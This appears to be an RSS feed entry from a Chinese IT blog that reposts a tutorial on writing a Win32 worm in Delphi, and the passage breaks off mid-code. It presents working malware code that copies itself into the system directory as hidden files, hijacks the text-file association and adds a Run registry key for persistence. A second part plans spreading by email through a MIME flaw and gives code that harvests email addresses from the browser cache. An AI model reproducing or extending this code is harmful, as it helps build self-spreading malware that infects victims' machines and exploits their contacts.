﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-生命源代码-文章分类-WIN32系统</title><link>http://www.cnitblog.com/Walter/category/7864.html</link><description>在自己设计的操作系统里，用自己发明的编程语言，写自己的生命代码---</description><language>zh-cn</language><lastBuildDate>Fri, 30 Sep 2011 02:37:57 GMT</lastBuildDate><pubDate>Fri, 30 Sep 2011 02:37:57 GMT</pubDate><ttl>60</ttl><item><title>编写Win32位病毒教程（3） (转)</title><link>http://www.cnitblog.com/Walter/articles/52049.html</link><dc:creator>HQ</dc:creator><author>HQ</author><pubDate>Fri, 28 Nov 2008 13:09:00 GMT</pubDate><guid>http://www.cnitblog.com/Walter/articles/52049.html</guid><wfw:comment>http://www.cnitblog.com/Walter/comments/52049.html</wfw:comment><comments>http://www.cnitblog.com/Walter/articles/52049.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Walter/comments/commentRss/52049.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Walter/services/trackbacks/52049.html</trackback:ping><description><![CDATA[<p>可能大家想到病毒，第一反应就是可能是用asm来编写，或者是vbsript，而高级语言如delphi就好象不能编写一样，其实事实并不是这个样子的，只要我们花一些时间，照样可以写出简短而高效的病毒程序来，一点也不输那些用汇编写出来的程序哦。 <br>一个病毒程序首先要短小，我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道，如果在uses里面加入forms,classes.....等就会使目标文件非常的大，所以，在我们的程序里，我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数，比如对文件的操作，对字符串的操作，如果用自己的程序来代替，目标文件会更加的小) </p>
<p>首先，我们知道，一个病毒程序一般都分下面三个模块： <br>①保护模块； <br>②感染模块； <br>③发作模块。 <br>下面我们就从这三个模块开始，分别实现他们的代码。 </p>
<p>一)保护模块。 <br>一般，我们都是把自身拷贝到系统的一些目录里，比如%systemroot% <br>那么，我们首先要取得这些特定的目录的路径 <br>sdk里面给我们提供了一个这样的函数GetSystemDirectory <br>UINT GetSystemDirectory( <br>LPTSTR lpBuffer, // 存放返回的字符串的缓冲区 <br>UINT uSize // 上面的缓冲去的长度 <br>); <br>相关的函数还有GetWindowsDirectory可以得到%windows%的路径 </p>
<p>得到了系统的目录后，第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile <br>BOOL CopyFile( <br>LPCTSTR lpExistingFileName, // 源文件的路径 <br>LPCTSTR lpNewFileName, // 目标文件的路径 <br>BOOL bFailIfExists // 这是一个标志，如果目标文件已经存在，是否强制覆盖 <br>); </p>
<p>拷贝文件完毕后,我们来把这个文件设置为系统和隐藏，那么一般情况是看不见该文件的， <br>除非选取查看所有文件，以及显示受保护文件。 <br>同样，介绍一个函数SetFileAttributes <br>BOOL SetFileAttributes( <br>LPCTSTR lpFileName, // 需要设置的文件的文件名 <br>DWORD dwFileAttributes // 设置的值。 <br>); <br>我们这里要设置为隐藏和系统，那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM </p>
<p>下面就是最重要的，让该文件开机自动运行，我们一般都是写注册表， <br>首先用RegOpenKey函数来打开一个键， </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">LONG&nbsp;RegOpenKey(&nbsp;<br></span><span style="COLOR: #008080">&nbsp;2</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;HKEY&nbsp;hKey,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;主键，比如HKEY_LOCAL_MACHINE&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;3</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;LPCTSTR&nbsp;lpSubKey,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;跟随的subkey&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;4</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHKEY&nbsp;phkResult&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;存放函数返回这个打开的键的句柄&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;5</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">);&nbsp;<br></span><span style="COLOR: #008080">&nbsp;6</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">得到了HKEY后，就可以用regsetvalueex来向该键写具体的值了。&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;7</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">LONG&nbsp;RegSetvalueEx(&nbsp;<br></span><span style="COLOR: #008080">&nbsp;8</span><span style="COLOR: #000000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;HKEY&nbsp;hKey,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;这个就是刚才我们得到的句柄&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;9</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;LPCTSTR&nbsp;lpvalueName,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;键名的地址&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">10</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;DWORD&nbsp;Reserved,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;一般设置为0&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">11</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;DWORD&nbsp;dwType,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;我们写的键的类型，字符串为&nbsp;REG_SZ&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">12</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;CONST&nbsp;BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">lpData,&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;键值的地址&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">13</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;DWORD&nbsp;cbData&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;写入的键值的长度&nbsp;</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">14</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">);&nbsp;</span></div>
<p>下面，我综合上面的说明来给出一个简短的例子： <br></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">procedure&nbsp;SelfCopy;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>var&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Path,value:array&nbsp;[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">..</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">]&nbsp;of&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Hk:HKEY;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>S:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>GetSystemDirectory(Path,</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">取得系统的路径&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">s:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">strpas(Path);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">转换成字符串&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">CopyFile(pchar(paramstr(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)),pchar(S</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/ruin.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">),</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CopyFile(pchar(paramstr(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)),pchar(S</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/virus_ruin.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">),</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">SetFileAttributes(pchar(S</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/ruin.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">),FILE_ATTRIBUTE_HIDDEN</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">FILE_ATTRIBUTE_SYSTEM);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>SetFileAttributes(pchar(S</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/virus_ruin.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">),FILE_ATTRIBUTE_HIDDEN</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">FILE_ATTRIBUTE_SYSTEM);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">设置刚才的两个文件为系统和隐藏&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">RegOpenKey(HKEY_CLASSES_ROOT,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">txtfile/shell/open/command</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,Hk);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>value:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">virus_ruin.exe&nbsp;%1</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>RegSetvalueEx(Hk,</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,REG_SZ,@value,</span><span style="COLOR: #000000">17</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">把virus_ruin.exe和文本文件关联&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">RegOpenKey(HKEY_LOCAL_MACHINE,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Software/Microsoft/Windows/CurrentVersion/Run</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,Hk);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>value:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ruin.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>RegSetvalueEx(Hk,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ruin</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,REG_SZ,@value,</span><span style="COLOR: #000000">8</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">设置开机自动运行ruin.exe&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>我们看上面的这个程序，就完成了自我复制，和开机自动运行， <br>并且关联了文本文件，这样，如果run下的键被删除，那么他打开文本文件，蠕虫文件又被激活。 <br>不过这个样子，你就需要在你的主程序里面进行判断，如果传递的参数等于1 ，则打开该文本， <br>并且进行自我保护。 <br>如： </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;paramcount</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>shellexecute(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">open</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">notepad.exe</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,pchar(paramstr(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)),nil,sw_normal);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">其他的代码&nbsp;</span></div>
<p>这里，我只是给出一个简单的例子来描述出一个大概的思路， <br>很多地方还不完善，比如进程的隐藏， <br>你可以进行判断， <br>如果是98你可以registerserverapplication如果你是用的2000，你可以做为服务启动， <br>或者是插入dll，或者是用求职信的方法，开机加载一个dll,或者是win.ini <br>或者....................... <br>因为我这里只是浅谈，只给大家提供一个思路， <br>如果你要深入研究，推荐看看shotgun的《揭开木马的神秘面纱》。 <br>好今天打字也累了，明天接着写！</p>
<p>　 <br>浅谈用delphi来编写蠕虫病毒(part Ⅱ) <br>原创：whaoye（whaoye） <br>来源：<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#119;&#104;&#97;&#111;&#121;&#101;&#64;&#50;&#49;&#99;&#110;&#46;&#99;&#111;&#109;">whaoye@21cn.com</a> </p>
<p>{ <br>注：由于小弟水平有限，并且是小弟第一次写文章，自然难免有很多不足的地方，还请大家包涵！ <br>如果你有什么意见和建议，也请给我来信，大家互相学习，互相探讨！ <br>} <br>各位看官，我们接着上次的part Ⅰ 开始讲解！ </p>
<p>上次我只是简单的讲解了如何进行简单的自我保护，也算是简单的完成了一个蠕虫病毒的自我保护了， <br>而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系 <br>统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个 <br>outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以， <br>需要我们自己来手工的编写程序来解决这个问题。 <br>那么就给我们编写程序提出了几个问题： <br>1)如何得到该电脑上的email地址。 <br>2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock） <br>下面，我们首先来解决第一个问题。 </p>
<p><br>一)得到电脑上的email地址 <br>要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定 <br>这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。 <br>老惯例，文字不够用代码来凑，介绍几个函数： <br>function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; <br>function FindNext(var F: TSearchRec): Integer; <br>procedure FindClose(var F: TSearchRec); <br>上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成 <br>的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来 <br>搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。 <br>好，我们还是边看代码边解释。 </p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">procedure&nbsp;FindFiles(StartDir:&nbsp;</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>var&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>SR:&nbsp;TSearchRec;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用来储存返回的文件的一些数据&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">IsFound:&nbsp;Boolean;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">做为一个标志&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>IsFound&nbsp;:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">FindFirst(StartDir</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">*.htm</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,&nbsp;faAnyFile</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">faDirectory,&nbsp;SR)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">在startdir里面查找htm文件&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;IsFound&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">如果找到htm文件&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">GetEmailAddress(startdir</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">sr.Name);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注意，这里的函数&nbsp;GetEmailAddress我们等一下再来描述&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">IsFound&nbsp;:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;FindNext(SR)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">继续查找htm文件，只到标志isfound为false&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>FindClose(SR);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>IsFound&nbsp;:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;FindFirst(StartDir</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">*.*</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,&nbsp;faAnyFile,&nbsp;SR)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">现在是查找所有的文件&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;IsFound&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;((SR.Attr&nbsp;and&nbsp;faDirectory)&nbsp;</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;and(SR.Name[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>findfiles(startdir</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">sr.Name</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">IsFound&nbsp;:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;FindNext(SR)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>FindClose(SR);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p><br>ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举 <br>缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。 </p>
<p>那下面的这个函数GetEmailAddress就很容易编写了。 <br>我只说一说简单的原理，就是打开一个htm文件， <br>一次读一行文本，然后看是否有"mailto:"， <br>如果有，就把紧接着的字符读出来，只到出现非法字符。 <br>不过有一点这个方法只能读作为连接的email地址， <br>不过也足够了。 <br>好，大家看程序： </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">procedure&nbsp;GetEmailAddress(FileName:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>var&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>F:textfile;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>S:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用来装每次读一行的字符串&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Address:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">得到的email地址&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">i,Position:integer;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>AssignFile(F,FileName);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Reset(f);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;not&nbsp;Eof(f)&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img 